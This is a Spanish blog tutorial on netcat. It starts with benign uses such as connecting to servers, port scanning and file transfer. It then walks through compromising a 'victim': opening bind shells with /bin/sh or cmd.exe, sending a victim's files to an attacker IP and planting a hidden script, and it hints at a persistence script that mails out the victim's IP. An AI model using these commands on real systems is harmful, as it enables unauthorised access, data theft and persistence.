Mucho se habla de la seguridad en linux, pero, cuantos realmente saben de lo que se trata, pocos se imaginan que con unos simples comandos se puede ganar el acceso total a un sistema, o usar programas que nos permitan ver todo el flujo de una red incluida nombres de usuario y contraseñas.
El mundo de la seguridad informatica es tremendamente enorme, así que me voy a enfocar solo en algunos puntos claves que creo de interés.
La Navaja Suiza - NetCat
Netcat (a menudo referida como la navaja multiusos de los hackers) es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos).
Fuente: Wikipedia
Ahora hagamos algunas pruebas para interiorizarnos en el tema…
Haciendo algunas pruebas :: Conectandose a un servidor
Parte del uso de sockets es la conexión a una maquina remota / Servidor la forma es muy simple.
# nos conectamos a smtp.gmail.com en el puerto 587
nc smtp.gmail.com 587
De esta manera nos conectamos al servidor indicado y vemos que nos devuelve:
220 mx.google.com ESMTP 9sm9456733yxs.55
Haciendo algunas pruebas :: Escaneado de Puertos
Que? sirve para escanear puertos? si, claro, no tiene la potencia de nmap pero es muy útil, y su uso es más que simple:
# Suponemos que queremos hacer un escaneo a los puertos TCP 21 y 80
nc -v -w 4 -z 21 80
# Ahora lo mismo, pero con un rango, así es más útil
nc -v -w 4 -z 1-2045
Ahora detallamos los parametros:
-v : Verbose - muestra info en pantalla
-w x: Espera X segundos antes que caduque la conexion
-z : Zero mode - No enviar datos al puerto (si, no envia datos para hacerlo)
La salida sería algo como esto:
iuga@rebuilt:~$ nc -v -w 4 -z localhost 1-65535
localhost [127.0.0.1] 631 (ipp) open
localhost [127.0.0.1] 445 (microsoft-ds) open
localhost [127.0.0.1] 139 (netbios-ssn) open
Si queremos ir un poco más a fondo, podemos escanear puertos UDP:
nc -vz -u localhost 1-90
-vz : Info + Zero mode
-u : Puerto UDP
Haciendo algunas pruebas :: Levantando un servidor y conetarse al mismo
Levantar un servidor con netcat significa poner un proceso, en este caso netcat, a la escucha en un determinado puerto, la idea es simple, el proceso escucha, hasta que alguien se conecta a él para su uso. Creamos el servidor de la siguiente manera:
nc -l -p 666
-l : Modo Listen, se pone a la escucha
-p : Indica el puerto
Ya tenemos nuestro servidor netcat levantado en el puerto 666, claro no hace nada, pero para conectarnoe podemos:
nc localhost 666
Muy simple no? Ya podemos enviar y recibir info:
Probando la conexión a un server
Haciendo algunas pruebas :: Enviando Archivos
Para no hacer esto tán largo y complicado y llegar a lo que realmente importa vamos con el ejemplo directo.
El que recibe el archivo ejecuta:
nc -l -p 2000 > fichero.recibido
Luego, el que envia el archivo:
Los límites del uso de NetCat
Entre los usos que le podemos dar a esta espectacular herrmienta se encuentra:
Comprometiendo un sistema :: Obteniendo una shell de una maquina remota
Como el título lo dice, vamos a controlar la shell de una máquina remota (linea de comandos, consola, como quieran llamarlo). Para esto, en la máquina objetivo levantamos el servidor:
# Si es windows
nc -l -d -e cmd.exe -p 666
# Si es unix
nc -l -p 666 -e "/bin/sh"
e “comando” : Ejecuta el comando entre comillas
Para conectarnos simplemente:
nc localhost 666
Obteniendo una shell remota con netcat
En este punto ya podemos tirar cualquier comando sobre la maquina objetivo y ver la respuesta. Voy a intentar dar un pantallazo de como funciona.
Primero, el servidor escucha en el puerto y esta listo para devolverle la shell al que se conecte.
Segundo, Nos conectamos y nos devuelve la shell, pero no vemos nada, para ver si funciona, podemos intentar ejecutar un comando, como ls.
Tercero, el servidor creado, recibe la entrada de datos y lo interpreta como una entrada en la shell, así que tras recibir un enter, ejecuta el comando e imprime los datos en el “buffer”.
Como en este caso netcat es el “buffer” envia los datos a la maquina atacante
Cuarto, en nuestra linda consola, vemos la salida del comando, pero ejecutado en la otra PC.
Comprometiendo un sistema :: Sacando archivos de la maquina afectada
Como se estarán dando cuenta, hay muuchas maneras de transferirnos un archivo, pero voy a explicar la más sencilla.
Primero tenemor el servidor victima: vvv.vvv.vvv.vvv
nc -l -p 666 -e "/bin/sh"
Ahora desde el atacante ejecutamos:
# Nos preparamos para recibir el archivo
nc -l -p 667 > fichero.deseado.recibido
# Nos conectamos al servidor
nc vvv.vvv.vvv.vvv 666
# Buscamos en los directorios hasta dar con el archivo interesado
cd Private
ls
# Ahora, lanzamos otro servidor para la transferencia del archivo
# le indicamos nuestra IP Publica ccc.ccc.ccc.ccc
nc ccc.ccc.ccc.ccc 667 < fichero.deseado
# Cerramos la conexion [ Ctrl + C ]
Alguien con dos dedos de frente y algo de ruta sobre unix se dara cuenta de varias cosas, como que el método tiene un gran defecto, los logs, no solo queda registrado que sacamos un archivo, sino NUESTRA IP y la hora, suficiente como para darnos caza.
Transifiendo un archivo desde una máquina remota
Comprometiendo un sistema :: Detrás de las lineas enemigas
Hasta ahora, estamos en un bypass, podemos conectarnos, tener acceso total a la maquina y sacar los archivos que nos interesen de ahí. pero mejoremos un poco nuestra posición e introduzcamos un script a la victima.
nc vvv.vvv.vvv.vvv 666
touch .script.maloso.sh
echo "#!/bin/sh" >> .script.maloso.sh
echo "echo El usuario del sistema es:" >> .script.maloso.sh
echo "whoami" >> .script.maloso.sh
chmod u+x .script.maloso.sh
Completamente inútil estarán pensando, y tienen toda la razón…Pero el concepto es lo importante no el ejemplo, porque nos será muy útil. Ahora imaginemos que hacemos un script, que inicie con el sistema y que se encargue de poner un netcat en x puerto y avisarnos por mail la ip de la victima, si, completamente peligroso, pero eso es motivo de otro post…
Documentación
WikiLearning - NetCat
Wikipedia - Netcat
PDF - Creando una shell Remota
Manual de Crysol de NetCat
No hay comentarios:
Publicar un comentario